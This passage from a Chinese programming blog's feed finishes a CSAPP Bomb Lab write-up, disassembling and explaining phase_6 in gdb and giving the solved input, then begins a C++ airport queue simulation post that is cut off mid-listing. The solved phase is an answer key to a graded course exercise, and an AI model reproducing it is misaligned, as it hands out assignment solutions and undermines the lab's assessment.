&#x3C;+141>:	jmp    0x401188 &#x3C;phase_6+148></div><div class="code-line numbered-code-line" data-line-number="11">      # 把一个链表的指针传给%eax。</div><div class="code-line numbered-code-line" data-line-number="12">   0x0000000000401183 &#x3C;+143>:	mov    $0x6032d0,%edx</div><div class="code-line numbered-code-line" data-line-number="13">   0x0000000000401188 &#x3C;+148>:	mov    %rdx,0x20(%rsp,%rsi,2)</div><div class="code-line numbered-code-line" data-line-number="14">   0x000000000040118d &#x3C;+153>:	add    $0x4,%rsi</div><div class="code-line numbered-code-line" data-line-number="15">   0x0000000000401191 &#x3C;+157>:	cmp    $0x18,%rsi</div><div class="code-line numbered-code-line" data-line-number="16">   0x0000000000401195 &#x3C;+161>:	je     0x4011ab &#x3C;phase_6+183></div><div class="code-line numbered-code-line" data-line-number="17">   0x0000000000401197 &#x3C;+163>:	mov    (%rsp,%rsi,1),%ecx</div><div class="code-line numbered-code-line" data-line-number="18">      # 比较%ecx是否为1（因为%ecx不可能为0）</div><div class="code-line numbered-code-line" data-line-number="19">   0x000000000040119a &#x3C;+166>:	cmp    $0x1,%ecx</div><div class="code-line numbered-code-line" data-line-number="20">   0x000000000040119d &#x3C;+169>:	jle    0x401183 &#x3C;phase_6+143></div><div class="code-line numbered-code-line" data-line-number="21">   0x000000000040119f &#x3C;+171>:	mov    $0x1,%eax</div><div class="code-line numbered-code-line" data-line-number="22">   0x00000000004011a4 &#x3C;+176>:	mov    $0x6032d0,%edx</div><div class="code-line numbered-code-line" data-line-number="23">   0x00000000004011a9 &#x3C;+181>:	jmp    0x401176 &#x3C;phase_6+130></div></code></pre>
<p>这个地方在 + 143 处有一个常量指针，多次尝试输出值，发现这里存储了一个链表结构。使用<code>x/12xg 0x6032d0</code>可以看到，打印出来的名称 node 也提示这是一个链表：</p>
<p><a data-fslightbox="gallery" href="https://billc.oss-cn-shanghai.aliyuncs.com/img/2020-04-13-164001.png"><img src="https://billc.oss-cn-shanghai.aliyuncs.com/img/2020-04-13-164001.png" alt="" loading="lazy" data-wrapped="true"></a></p>
<p>每个节点第一个是 long 类型（推测），第二个是一个指向下一个 node 的指针，所以偏移量都是 8。进一步依次用类似于<code>*0x6032d0</code>的语句来探索链表里每个节点存储的数值。可以得到链表里存储的数据如下：</p>
<table>
<thead>
<tr>
<th>node1</th>
<th>node2</th>
<th>node3</th>
<th>node4</th>
<th>node5</th>
<th>node6</th>
</tr>
</thead>
<tbody>
<tr>
<td>332</td>
<td>168</td>
<td>924</td>
<td>691</td>
<td>477</td>
<td>443</td>
</tr>
</tbody>
</table>
<p>上面这一部分可以根据输入的数字来读取链表的第 n 位，并把第 n 位的节点存储进<code>0x20(%rsp,%rsi,2)</code>内用于后续操作。也就是说这个帧里存储着按照特定顺序排列好的节点，这个顺序就是我们输入的数字经过 7-x 的结果。</p>
<p>接下来的部分：</p>
<pre><code class="hljs language-s" class="hljs"><div class="code-line numbered-code-line" data-line-number="1">      # 开始从%rsp + 20的位置开始读取刚才存储在这里的节点</div><div class="code-line numbered-code-line" data-line-number="2">   0x00000000004011ab &#x3C;+183>:	mov    0x20(%rsp),%rbx</div><div class="code-line numbered-code-line" data-line-number="3">      # 第2个元素的地址</div><div class="code-line numbered-code-line" data-line-number="4">   0x00000000004011b0 &#x3C;+188>:	lea    0x28(%rsp),%rax</div><div class="code-line numbered-code-line" data-line-number="5">   0x00000000004011b5 &#x3C;+193>:	lea    0x50(%rsp),%rsi</div><div class="code-line numbered-code-line" data-line-number="6">   0x00000000004011ba &#x3C;+198>:	mov    %rbx,%rcx</div><div class="code-line numbered-code-line" data-line-number="7">   0x00000000004011bd &#x3C;+201>:	mov    (%rax),%rdx</div><div class="code-line numbered-code-line" data-line-number="8">      # 把下一个节点的地址存储在上一个指针的next里</div><div class="code-line numbered-code-line" data-line-number="9">   0x00000000004011c0 &#x3C;+204>:	mov    %rdx,0x8(%rcx)</div><div class="code-line numbered-code-line" data-line-number="10">   0x00000000004011c4 &#x3C;+208>:	add    $0x8,%rax</div><div class="code-line numbered-code-line" data-line-number="11">   0x00000000004011c8 &#x3C;+212>:	cmp    %rsi,%rax</div><div class="code-line numbered-code-line" data-line-number="12">      # 如果%rax到达结尾位置就结束循环</div><div class="code-line numbered-code-line" data-line-number="13">   0x00000000004011cb &#x3C;+215>:	je     0x4011d2 &#x3C;phase_6+222></div><div class="code-line numbered-code-line" data-line-number="14">   0x00000000004011cd &#x3C;+217>:	mov    %rdx,%rcx</div><div class="code-line numbered-code-line" data-line-number="15">   0x00000000004011d0 &#x3C;+220>:	jmp    0x4011bd &#x3C;phase_6+201></div></code></pre>
<p>在 rsp+20 处存储了更换了顺序之后的 6 个节点，这里是需要把每个节点的 next 都重新链接，使他们重新按照指定的顺序连接起来。</p>
<pre><code class="hljs language-s" class="hljs"><div class="code-line numbered-code-line" data-line-number="1">   0x00000000004011d2 &#x3C;+222>:	movq   $0x0,0x8(%rdx)</div><div class="code-line numbered-code-line" data-line-number="2">   0x00000000004011da &#x3C;+230>:	mov    $0x5,%ebp</div><div class="code-line numbered-code-line" data-line-number="3">      # 偏移量为8，准备判断下一个数字</div><div class="code-line numbered-code-line" data-line-number="4">   0x00000000004011df &#x3C;+235>:	mov    0x8(%rbx),%rax</div><div class="code-line numbered-code-line" data-line-number="5">   0x00000000004011e3 &#x3C;+239>:	mov    (%rax),%eax</div><div class="code-line numbered-code-line" data-line-number="6">   0x00000000004011e5 &#x3C;+241>:	cmp    %eax,(%rbx)</div><div class="code-line numbered-code-line" data-line-number="7">      # 判断是否为递减的数列。</div><div class="code-line numbered-code-line" data-line-number="8">   0x00000000004011e7 &#x3C;+243>:	jge    0x4011ee &#x3C;phase_6+250></div><div class="code-line numbered-code-line" data-line-number="9">   0x00000000004011e9 &#x3C;+245>:	callq  0x40143a &#x3C;explode_bomb></div><div class="code-line numbered-code-line" data-line-number="10">      # 偏移量为8，准备判断下一个数字</div><div class="code-line numbered-code-line" data-line-number="11">   0x00000000004011ee &#x3C;+250>:	mov    0x8(%rbx),%rbx</div><div class="code-line numbered-code-line" data-line-number="12">   0x00000000004011f2 &#x3C;+254>:	sub    $0x1,%ebp</div><div class="code-line numbered-code-line" data-line-number="13">   0x00000000004011f5 &#x3C;+257>:	jne    0x4011df &#x3C;phase_6+235></div></code></pre>
<p>这一部分就是比较新的这一个序列的节点里，是否里面存储的数字是递减的，一旦发现不是递减的就引爆炸弹。</p>
<p>最后清空内存。</p>
<pre><code class="hljs language-s" class="hljs"><div class="code-line numbered-code-line" data-line-number="1">   0x00000000004011f7 &#x3C;+259>:	add    $0x50,%rsp</div><div class="code-line numbered-code-line" data-line-number="2">   0x00000000004011fb &#x3C;+263>:	pop    %rbx</div><div class="code-line numbered-code-line" data-line-number="3">   0x00000000004011fc &#x3C;+264>:	pop    %rbp</div><div class="code-line numbered-code-line" data-line-number="4">   0x00000000004011fd &#x3C;+265>:	pop    %r12</div><div class="code-line numbered-code-line" data-line-number="5">   0x00000000004011ff &#x3C;+267>:	pop    %r13</div><div class="code-line numbered-code-line" data-line-number="6">   0x0000000000401201 &#x3C;+269>:	pop    %r14</div><div class="code-line numbered-code-line" data-line-number="7">   0x0000000000401203 &#x3C;+271>:	retq</div><div class="code-line numbered-code-line" data-line-number="8">End of assembler dump.</div></code></pre>
<p>按照上面分析的逻辑，只要输入 6 个在 1-6 的整数 x，按照 7-x 的顺序重新排序节点，判断排序之后的节点是否为递减数列，如果是的话就成功解除炸弹。</p>
<p>再次检查原始链表里存储的数字：</p>
<table>
<thead>
<tr>
<th>node1</th>
<th>node2</th>
<th>node3</th>
<th>node4</th>
<th>node5</th>
<th>node6</th>
</tr>
</thead>
<tbody>
<tr>
<td>332</td>
<td>168</td>
<td>924</td>
<td>691</td>
<td>477</td>
<td>443</td>
</tr>
</tbody>
</table>
<p>所以为了让他们成为递减数列，需要按照<strong>3 4 5 6 1 2</strong>的顺序排列。但由于<strong>3 4 5 6 1 2</strong>是由输入的数据被 7 减去得来的，所以最后一个炸弹的答案应该为：</p>
<blockquote>
<p>4 3 2 1 6 5</p>
</blockquote>
<h2 id="写在后面"><a href="#写在后面">写在后面</a></h2>
<p>拆完炸弹的时候已经是凌晨三点了，实在是太可怕了。严格来说还有一个 secret_phase 可以食用，但最近实在是没有这么多时间认真分析。总体来说熟悉了基本操作之后后面的流程会顺利许多，至少不会感到完全的不知所措。也是非常敬佩这个炸弹的作者，做完之后感觉对汇编语言和 gdb 的调试命令也相比之前有了更深的理解。果然 CMU 里的牛人们都是神仙。</p>]]></description>
            <link>https://jtchen.io/blog/csapp-bomblab</link>
            <guid isPermaLink="false">csapp-bomblab</guid>
            <dc:creator><![CDATA[Juntong Chen]]></dc:creator>
            <pubDate>Thu, 18 Apr 2019 00:00:00 GMT</pubDate>
        </item>
        <item>
            <title><![CDATA[Airport Simulation：数据结构与算法之队列 / Queue 的应用]]></title>
            <description><![CDATA[<p>Airport Simulation 是数据结构与算法教材中用于演示 Queue 的一个小程序（大多数教师似乎会跳过这个练习）。主程序会通过输入总的运行时间、队列里可以等待的最多飞机数量，平均每个时间单元到来的飞机和离开的飞机（提供泊松分布的均值生成随机数）。</p>
<p><a data-fslightbox="gallery" href="https://billc.oss-cn-shanghai.aliyuncs.com/img/2020-04-13-074804.png"><img src="https://billc.oss-cn-shanghai.aliyuncs.com/img/2020-04-13-074804.png" alt="" loading="lazy" data-wrapped="true"></a></p>
<div align="center">运行效果</div>
<p>程序的结构不算复杂，利用 Runaway 类来封装两个 landing 和 takeoff 队列，处理飞机的请求和行为；Plane 类来封装飞机的状态和信息，以及在受到指令时输出信息到控制台。只是教材里的讲述有些分散，运行效果也由于输出太多而显得凌乱无比。练习布置许久之后也是一直没有找到一整块时间写完这个练习。这里是前几天完成的一个经过输出优化后的程序，格式比较易于观测。</p>
<p>该程序应在 Linux 或 macOS 下编译。在 Windows 下编译由于不支持彩色输出会出现一些奇怪的转移序列，sleep 函数和 usleep 函数也应当用 windows.h 中提供的方法实现。</p>
<p>main.cpp 和 Random.h 的源代码如下。其中 Random.h 用于提供泊松分布的随机数生成，参考自 CSDN。</p>
<blockquote>
<p>你可以在<a href="https://github.com/jtchen2k/LearningRepo/tree/master/Course/%E6%95%B0%E6%8D%AE%E7%BB%93%E6%9E%84%E4%B8%8E%E7%AE%97%E6%B3%95/Queue">这里</a>找到源代码的下载地址。另外，关于在类 unix 系统的控制台输出中不同颜色的文字的方法，我在<a href="/blog/stylish-output">这里</a>单独写了一篇帖子来介绍详细方法。</p>
</blockquote>
<pre><code class="hljs language-c++" class="hljs"><div class="code-line numbered-code-line" data-line-number="1">#<span class="hljs-meta hljs-keyword">include</span> <span class="hljs-meta hljs-string">&#x3C;iostream></span></div><div class="code-line numbered-code-line" data-line-number="2">#<span class="hljs-meta hljs-keyword">include</span> <span class="hljs-meta hljs-string">&#x3C;queue></span></div><div class="code-line numbered-code-line" data-line-number="3">#<span class="hljs-meta hljs-keyword">include</span> <span class="hljs-meta hljs-string">&#x3C;unistd.h></span></div><div class="code-line numbered-code-line" data-line-number="4">#<span class="hljs-meta hljs-keyword">include</span> <span class="hljs-meta hljs-string">"Random.h"</span></div><div class="code-line numbered-code-line" data-line-number="5"><span class="hljs-keyword">using</span> <span class="hljs-keyword">namespace</span> std;</div><div class="code-line numbered-code-line" data-line-number="6"><span class="hljs-keyword">typedef</span> <span class="hljs-type">int</span> feedback;</div><div class="code-line numbered-code-line" data-line-number="7"></div><div class="code-line numbered-code-line" data-line-number="8"><span class="hljs-type">const</span> <span class="hljs-type">int</span> success = <span class="hljs-number">1</span>;</div><div class="code-line numbered-code-line" data-line-number="9"><span class="hljs-type">const</span> <span class="hljs-type">int</span> fail = <span class="hljs-number">0</span>;</div><div class="code-line numbered-code-line" data-line-number="10"><span class="hljs-type">const</span> <span class="hljs-type">int</span> USPEED_SHORT = <span class="hljs-number">1000</span>;</div><div class="code-line numbered-code-line" data-line-number="11"><span class="hljs-type">const</span> <span class="hljs-type">int</span> USPEED_LONG = <span class="hljs-number">1000</span>;</div><div class="code-line numbered-code-line" data-line-number="12"></div><div class="code-line numbered-code-line" data-line-number="13"><span class="hljs-keyword">enum</span> <span class="hljs-title class_">flightStatus</span> {</div><div class="code-line numbered-code-line" data-line-number="14">	null,</div><div class="code-line numbered-code-line" data-line-number="15">	toLand,</div><div class="code-line numbered-code-line" data-line-number="16">	toTakeoff</div><div class="code-line numbered-code-line" data-line-number="17">};</div><div class="code-line numbered-code-line" data-line-number="18"><span class="hljs-keyword">enum</span> <span class="hljs-title class_">runawayAct</span> {</div><div class="code-line numbered-code-line" data-line-number="19">	idle,</div><div class="code-line numbered-code-line" data-line-number="20">	letTakeoff,</div><div class="code-line numbered-code-line" data-line-number="21">	letLand</div><div class="code-line numbered-code-line" data-line-number="22">};</div><div class="code-line numbered-code-line" data-line-number="23">string <span class="hljs-function hljs-title">percentage</span>(<span class="hljs-function hljs-params hljs-type">int</span> A, <span class="hljs-function hljs-params hljs-type">int</span> B) {</div><div class="code-line numbered-code-line" data-line-number="24">	<span class="hljs-type">char</span> *temp = <span class="hljs-keyword">new</span> <span class="hljs-type">char</span>[<span class="hljs-number">100</span>];</div><div class="code-line numbered-code-line" data-line-number="25">	<span class="hljs-built_in">sprintf</span>(temp, <span class="hljs-string">"%3.2f%%"</span>, (<span class="hljs-type">double</span>)A / (<span class="hljs-type">double</span>)B * <span class="hljs-number">100</span>);</div><div class="code-line numbered-code-line" data-line-number="26">	string output = temp;</div><div class="code-line numbered-code-line" data-line-number="27">	<span class="hljs-keyword">return</span> output;</div><div class="code-line numbered-code-line" data-line-number="28">}</div><div class="code-line numbered-code-line" data-line-number="29"><span class="hljs-keyword">class</span> <span class="hljs-title class_">Plane</span> {</div><div class="code-line numbered-code-line" data-line-number="30">  <span class="hljs-keyword">private</span>:</div><div class="code-line numbered-code-line" data-line-number="31">	<span class="hljs-type">int</span> ID;</div><div class="code-line numbered-code-line" data-line-number="32">	<span class="hljs-type">int</span> comingTime;</div><div class="code-line numbered-code-line" data-line-number="33">	flightStatus status;</div><div class="code-line numbered-code-line" data-line-number="34">  <span class="hljs-keyword">public</span>:</div><div class="code-line numbered-code-line" data-line-number="35">  	<span class="hljs-built_in">Plane</span>() {</div><div class="code-line numbered-code-line" data-line-number="36">		ID = <span class="hljs-number">-1</span>;</div><div class="code-line numbered-code-line" data-line-number="37">		comingTime = <span class="hljs-number">-1</span>;</div><div class="code-line numbered-code-line" data-line-number="38">		status = null;</div><div class="code-line numbered-code-line" data-line-number="39">	}</div><div class="code-line numbered-code-line" data-line-number="40">	<span class="hljs-built_in">Plane</span>(<span class="hljs-type">int</span> _ID, <span class="hljs-type">int</span> _comingTime, flightStatus _status) {</div><div class="code-line numbered-code-line" data-line-number="41">		<span class="hljs-built_in">usleep</span>(USPEED_SHORT);</div><div class="code-line numbered-code-line" data-line-number="42">		ID = _ID;</div><div class="code-line numbered-code-line" data-line-number="43">		comingTime = _comingTime;</div><div class="code-line numbered-code-line" data-line-number="44">		status = _status;</div><div class="code-line numbered-code-line" data-line-number="45">		cout &#x3C;&#x3C; <span class="hljs-string">"[PLANE MESSAGE] Plane NO."</span> &#x3C;&#x3C; ID &#x3C;&#x3C; <span class="hljs-string">" is applying to "</span> &#x3C;&#x3C; ((status == toLand) ? <span class="hljs-string">"land "</span> : <span class="hljs-string">"take off "</span>) &#x3C;&#x3C; endl;</div><div class="code-line numbered-code-line" data-line-number="46">	}</div><div class="code-line numbered-code-line" data-line-number="47">	feedback <span class="hljs-function hljs-title">land</span>(<span class="hljs-function hljs-params hljs-type">int</span> currentTime) {</div><div class="code-line numbered-code-line" data-line-number="48">		<span class="hljs-built_in">usleep</span>(USPEED_LONG);</div><div class="code-line numbered-code-line" data-line-number="49">		cout &#x3C;&#x3C; <span class="hljs-string">"\033[42m[PLANE MESSAGE] Plane NO."</span> &#x3C;&#x3C; ID &#x3C;&#x3C; <span class="hljs-string">" has landed safely.\033[0m"</span> &#x3C;&#x3C; endl</div><div class="code-line numbered-code-line" data-line-number="50">			 &#x3C;&#x3C; <span class="hljs-string">"                Waiting time before landing: "</span> &#x3C;&#x3C; currentTime - comingTime &#x3C;&#x3C; <span class="hljs-string">"."</span> &#x3C;&#x3C; endl;</div><div class="code-line numbered-code-line" data-line-number="51">	}</div><div class="code-line numbered-code-line" data-line-number="52">	feedback <span class="hljs-function hljs-title">takeoff</span>(<span class="hljs-function hljs-params hljs-type">int</span> currentTime) {</div><div class="code-line numbered-code-line" data-line-number="53">		<span class="hljs-built_in">usleep</span>(USPEED_LONG);</div><div class="code-line numbered-code-line" data-line-number="54">		cout &#x3C;&#x3C; <span class="hljs-string">"\033[42m[PLANE MESSAGE] Plane NO."</span> &#x3C;&#x3C; ID &#x3C;&#x3C; <span class="hljs-string">" has taken off.\033[0m"</span> &#x3C;&#x3C; endl</div><div class="code-line numbered-code-line" data-line-number="55">			 &#x3C;&#x3C; <span class="hljs-string">"                Waiting time before taking off: "</span> &#x3C;&#x3C; currentTime - comingTime &#x3C;&#x3C; <span class="hljs-string">"."</span> &#x3C;&#x3C; endl;</div><div class="code-line numbered-code-line" data-line-number="56">	}</div><div class="code-line numbered-code-line" data-line-number="57">	feedback <span class="hljs-function hljs-title">reject</span>(<span class="hljs-function hljs-params hljs-type">int</span> currentTime) {</div><div class="code-line numbered-code-line" data-line-number="58">		<span class="hljs-built_in">usleep</span>(USPEED_LONG);</div><div class="code-line numbered-code-line" data-line-number="59">		<span class="hljs-keyword">if</span>(status == toLand) {</div><div class="code-line numbered-code-line" data-line-number="60">			cout &#x3C;&#x3C; <span class="hljs-string">"\033[41m[AIRPORT MESSAGE] Plane NO."</span> &#x3C;&#x3C; ID &#x3C;&#x3C; <span class="hljs-string">"'s landing request is rejected.\033[0m"</span> &#x3C;&#x3C; endl</div><div class="code-line numbered-code-line" data-line-number="61">				 &#x3C;&#x3C; <span class="hljs-string">"                  It has been directed to other airports."</span> &#x3C;&#x3C; endl;</div><div class="code-line numbered-code-line" data-line-number="62">		}</div><div class="code-line numbered-code-line" data-line-number="63">		<span class="hljs-keyword">else</span>{</div><div class="code-line numbered-code-line" data-line-number="64">			cout &#x3C;&#x3C; <span class="hljs-string">"\033[41m[AIRPORT MESSAGE] Plane NO."</span> &#x3C;&#x3C; ID &#x3C;&#x3C; <span class="hljs-string">" 's taking off request is rejected.\033[0m"</span> &#x3C;&#x3C; endl</div><div class="code-line numbered-code-line" data-line-number="65">				 &#x3C;&#x3C; <span class="hljs-string">"                  This flight is delayed."</span> &#x3C;&#x3C; endl;</div><div class="code-line numbered-code-line" data-line-number="66">		}</div><div class="code-line numbered-code-line" data-line-number="67">	}</div><div class="code-line numbered-code-line" data-line-number="68">	<span class="hljs-function hljs-type">int</span> <span class="hljs-function hljs-title">getTime</span><span class="hljs-function hljs-params">()</span> {</div><div class="code-line numbered-code-line" data-line-number="69">		<span class="hljs-keyword">return</span> comingTime;</div><div class="code-line numbered-code-line" data-line-number="70">	}</div><div class="code-line numbered-code-line" data-line-number="71">};</div><div class="code-line numbered-code-line" data-line-number="72"></div><div class="code-line numbered-code-line" data-line-number="73"><span class="hljs-keyword">class</span> <span class="hljs-title class_">Runaway</span>{</div><div class="code-line numbered-code-line" data-line-number="74">  <span class="hljs-keyword">private</span>:</div><div class="code-line numbered-code-line" data-line-number="75">	queue&#x3C;Plane> landingQueue;</div><div class="code-line numbered-code-line" data-line-number="76">	queue&#x3C;Plane> takeoffQueue;</div><div class="code-line numbered-code-line" data-line-number="77">	<span class="hljs-type">int</span> limit;</div><div class="code-line numbered-code-line" data-line-number="78">	runawayAct act;</div><div class="code-line numbered-code-line" data-line-number="79">	<span class="hljs-type">int</span> landingRequests;</div><div class="code-line numbered-code-line" data-line-number="80">	<span class="hljs-type">int</span> landingAccepted;</div><div class="code-line numbered-code-line" data-line-number="81">	<span class="hljs-type">int</span> landingRejected;</div><div class="code-line numbered-code-line" data-line-number="82">	<span class="hljs-type">int</span> takeoffRequests;</div><div class="code-line numbered-code-line" data-line-number="83">	<span class="hljs-type">int</span> takeoffAccepted;</div><div class="code-line numbered-code-line" data-line-number="84">	<span class="hljs-type">int</span> takeoffRejected;</div><div class="code-line numbered-code-line" data-line-number="85">	<span class="hljs-type">int</span> idleUnit;</div><div class="code-line numbered-code-line" data-line-number="86">	<span class="hljs-type">int</span> landingWaitedTime;</div><div class="code-line numbered-code-line" data-line-number="87">	<span class="hljs-type">int</span> takeoffWaitedTime;</div><div class="code-line numbered-code-line" data-line-number="88"></div><div class="code-line numbered-code-line" data-line-number="89">  <span class="hljs-keyword">public</span>:</div><div class="code-line numbered-code-line" data-line-number="90">	<span class="hljs-built_in">Runaway</span>(<span class="hljs-type">int</span> _limit) {</div><div class="code-line numbered-code-line" data-line-number="91">		limit = _limit;</div><div class="code-line numbered-code-line" data-line-number="92">		landingRequests = <span class="hljs-number">0</span>;</div><div class="code-line numbered-code-line" data-line-number="93">		landingAccepted = <span class="hljs-number">0</span>;</div><div class="code-line numbered-code-line" data-line-number="94">		takeoffRequests = <span class="hljs-number">0</span>;</div><div class="code-line numbered-code-line" data-line-number="95">		takeoffAccepted = <span class="hljs-number">0</span>;</div><div class="code-line numbered-code-line" data-line-number="96">		takeoffRejected = <span class="hljs-number">0</span>;</div><div class="code-line numbered-code-line" data-line-number="97">		idleUnit = <span class="hljs-number">0</span>;</div><div class="code-line numbered-code-line" data-line-number="98">		landingWaitedTime = <span class="hljs-number">0</span>;</div><div class="code-line numbered-code-line" data-line-number="99">		takeoffWaitedTime = <span class="hljs-number">0</span>;</div><div class="code-line numbered-code-line" data-line-number="100">	}</div><div class="code-line numbered-code-line" data-line-number="101">	feedback <span class="hljs-function hljs-title">CanLand</span>(<span class="hljs-function hljs-params hljs-type">const</span> Plane &#x26;current) {</div><div class="code-line numbered-code-line" data-line-number="102">		landingRequests++;</div><div class="code-line numbered-code-line" data-line-number="103">		feedback result;</div><div class="code-line numbered-code-line" data-line-number="104">		<span class="hljs-keyword">if</span> (landingQueue.<span class="hljs-built_in">size</span>() &#x3C; limit) {</div><div class="code-line numbered-code-line" data-line-number="105">			result = success;</div><div class="code-line numbered-code-line" data-line-number="106">			landingQueue.<span class="hljs-built_in">push</span>(current);</div><div class="code-line numbered-code-line" data-line-number="107">		}</div><div class="code-line numbered-code-line" data-line-number="108">		<span class="hljs-keyword">else</span>{</div><div class="code-line numbered-code-line" data-line-number="109">			result = fail;</div><div class="code-line numbered-code-line" data-line-number="110">			landingRejected++;</div><div class="code-line numbered-code-line" data-line-number="111">		}</div><div class="code-line numbered-code-line" data-line-number="112">		<span class="hljs-keyword">return</span> result;</div><div class="code-line numbered-code-line" data-line-number="113">	}</div><div class="code-line numbered-code-line" data-line-number="114">	feedback <span class="hljs-function hljs-title">CanTakeoff</span>(<span class="hljs-function hljs-params hljs-type">const</span> Plane &#x26;current) {</div><div class="code-line numbered-code-line" data-line-number="115">		takeoffRequests++;</div><div class="code-line numbered-code-line" data-line-number="116">		feedback result;</div><div class="code-line numbered-code-line" data-line-number="117">		<span class="hljs-keyword">if</span> (takeoffQueue.<span class="hljs-built_in">size</span>() &#x3C; limit) {</div><div class="code-line numbered-code-line" data-line-number="118">			result = success;</div><div class="code-line numbered-code-line" data-line-number="119">			takeoffQueue.<span class="hljs-built_in">push</span>(current);</div><div class="code-line numbered-code-line" data-line-number="120">		}</div><div class="code-line numbered-code-line" data-line-number="121">		<span class="hljs-keyword">else</span>{</div><div class="code-line numbered-code-line" data-line-number="122">			result = fail;</div><div class="code-line numbered-code-line" data-line-number="123">			takeoffRejected++;</div><div class="code-line numbered-code-line" data-line-number="124">		}</div><div class="code-line numbered-code-line" data-line-number="125">		<span class="hljs-keyword">return</span> result;</div><div class="code-line numbered-code-line" data-line-number="126">	}</div><div class="code-line numbered-code-line" data-line-number="127">	runawayAct <span class="hljs-function hljs-title">Act</span>(<span class="hljs-function hljs-params hljs-type">int</span> timeNow, Plane &#x26;moving) {</div><div class="code-line numbered-code-line" data-line-number="128">		runawayAct result;</div><div class="code-line numbered-code-line" data-line-number="129">		<span class="hljs-keyword">if</span> (!landingQueue.<span class="hljs-built_in">empty</span>()) {</div><div class="code-line numbered-code-line" data-line-number="130">			landingAccepted++;</div><div class="code-line numbered-code-line" data-line-number="131">			moving = landingQueue.<span class="hljs-built_in">front</span>();</div><div class="code-line numbered-code-line" data-line-number="132">			landingWaitedTime += timeNow - moving.<span class="hljs-built_in">getTime</span>();</div><div class="code-line numbered-code-line" data-line-number="133">			landingQueue.<span class="hljs-built_in">pop</span>();</div><div class="code-line numbered-code-line" data-line-number="134">			<span class="hljs-keyword">return</span> letLand;</div><div class="code-line numbered-code-line" data-line-number="135">		}</div><div class="code-line numbered-code-line" data-line-number="136">		<span class="hljs-keyword">else</span> <span class="hljs-keyword">if</span>(!takeoffQueue.<span class="hljs-built_in">empty</span>()) {</div><div class="code-line numbered-code-line" data-line-number="137">			takeoffAccepted++;</div><div class="code-line numbered-code-line" data-line-number="138">			moving = takeoffQueue.<span class="hljs-built_in">front</span>();</div><div class="code-line numbered-code-line" data-line-number="139">			takeoffWaitedTime += timeNow - moving.<span class="hljs-built_in">getTime</span>();</div><div class="code-line numbered-code-line" data-line-number="140">			takeoffQueue.<span class="hljs-built_in">pop</span>();</div><div class="code-line numbered-code-line" data-line-number="141">			<span class="hljs-keyword">return</span> letTakeoff;</div><div class="code-line numbered-code-line" data-line-number="142">		}</div><div class="code-line numbered-code-line" data-line-number="143">		<span class="hljs-keyword">else</span>{</div><div class="code-line numbered-code-line" data-line-number="144">			idleUnit++;</div><div class="code-line numbered-code-line" data-line-number="145">			<span class="hljs-keyword">return</span> idle;</div><div class="code-line numbered-code-line" data-line-number="146">		}</div><div class="code-line numbered-code-line" data-line-number="147">	}</div><div class="code-line numbered-code-line" data-line-number="148">	<span class="hljs-function hljs-type">void</span> <span class="hljs-function hljs-title">SumUp</span>(<span class="hljs-function hljs-params hljs-type">int</span> simulationTime) {</div><div class="code-line numbered-code-line" data-line-number="149">		cout &#x3C;&#x3C; endl;</div><div class="code-line numbered-code-line" data-line-number="150">		cout &#x3C;&#x3C; <span class="hljs-string">"\033[36m=============== SIMULATION RESULTS ===============\033[0m"</span> &#x3C;&#x3C; endl</div><div class="code-line numbered-code-line" data-line-number="151">			 &#x3C;&#x3C; <span class="hljs-string">"\033[5;3mCalculating...\033[0m"</span> &#x3C;&#x3C; endl;</div><div class="code-line numbered-code-line" data-line-number="152">		<span class="hljs-built_in">sleep</span>(<span class="hljs-number">2</span>);</div><div class="code-line numbered-code-line" data-line-number="153">		cout</div><div class="code-line numbered-code-line" data-line-number="154">			&#x3C;&#x3C; <span class="hljs-string">"\033[1ATotal simulation time:                         "</span> &#x3C;&#x3C; simulationTime &#x3C;&#x3C; endl</div><div class="code-line numbered-code-line" data-line-number="155">			&#x3C;&#x3C; <span class="hljs-string">"Total flights simulated:                       "</span> &#x3C;&#x3C; landingRequests + takeoffRequests &#x3C;&#x3C; endl</div><div class="code-line numbered-code-line" data-line-number="156">			&#x3C;&#x3C; <span class="hljs-string">"Total flights required to land:                "</span> &#x3C;&#x3C; landingRequests &#x3C;&#x3C; endl</div><div class="code-line numbered-code-line" data-line-number="157">			&#x3C;&#x3C; <span class="hljs-string">"Landing request accepted:                      "</span> &#x3C;&#x3C; landingAccepted &#x3C;&#x3C; endl</div><div class="code-line numbered-code-line" data-line-number="158">			&#x3C;&#x3C; <span class="hljs-string">"Landing request rejected:                      "</span> &#x3C;&#x3C; landingRejected &#x3C;&#x3C; endl</div><div class="code-line numbered-code-line" data-line-number="159">			&#x3C;&#x3C; <span class="hljs-string">"Total flights required to take off:            "</span> &#x3C;&#x3C; takeoffRequests &#x3C;&#x3C; endl</div><div class="code-line numbered-code-line" data-line-number="160">			&#x3C;&#x3C; <span class="hljs-string">"Taking off request accepted:                   "</span> &#x3C;&#x3C; takeoffAccepted &#x3C;&#x3C; endl</div><div class="code-line numbered-code-line" data-line-number="161">			&#x3C;&#x3C; <span class="hljs-string">"Taking off request rejected:                   "</span> &#x3C;&#x3C; takeoffRejected &#x3C;&#x3C; endl</div><div class="code-line numbered-code-line" data-line-number="162">			&#x3C;&#x3C; <span class="hljs-string">"Flights still left in landing queue:           "</span> &#x3C;&#x3C; landingQueue.<span class="hljs-built_in">size</span>() &#x3C;&#x3C; endl</div><div class="code-line numbered-code-line" data-line-number="163">			&#x3C;&#x3C; <span class="hljs-string">"Flights still left in taking off queue:        "</span> &#x3C;&#x3C; takeoffQueue.<span class="hljs-built_in">size</span>() &#x3C;&#x3C; endl</div><div class="code-line numbered-code-line" data-line-number="164">			&#x3C;&#x3C; <span class="hljs-string">"Average waiting time in landing queue:         "</span> &#x3C;&#x3C; (<span class="hljs-type">float</span>)landingWaitedTime / (<span class="hljs-type">float</span>)landingAccepted &#x3C;&#x3C; endl</div><div class="code-line numbered-code-line" data-line-number="165">			&#x3C;&#x3C; <span class="hljs-string">"Average waiting time in taking off queue:      "</span> &#x3C;&#x3C; (<span class="hljs-type">float</span>)takeoffWaitedTime / (<span class="hljs-type">float</span>)takeoffAccepted &#x3C;&#x3C; endl</div><div class="code-line numbered-code-line" data-line-number="166">			&#x3C;&#x3C; <span class="hljs-string">"Average observing time for landing flights:    "</span> &#x3C;&#x3C; (<span class="hljs-type">float</span>)landingRequests / (<span class="hljs-type">float</span>)simulationTime &#x3C;&#x3C; endl</div><div class="code-line numbered-code-line" data-line-number="167">			&#x3C;&#x3C; <span class="hljs-string">"Average observing time for taking off flights: "</span> &#x3C;&#x3C; (<span class="hljs-type">float</span>)takeoffRequests / (<span class="hljs-type">float</span>)simulationTime &#x3C;&#x3C; 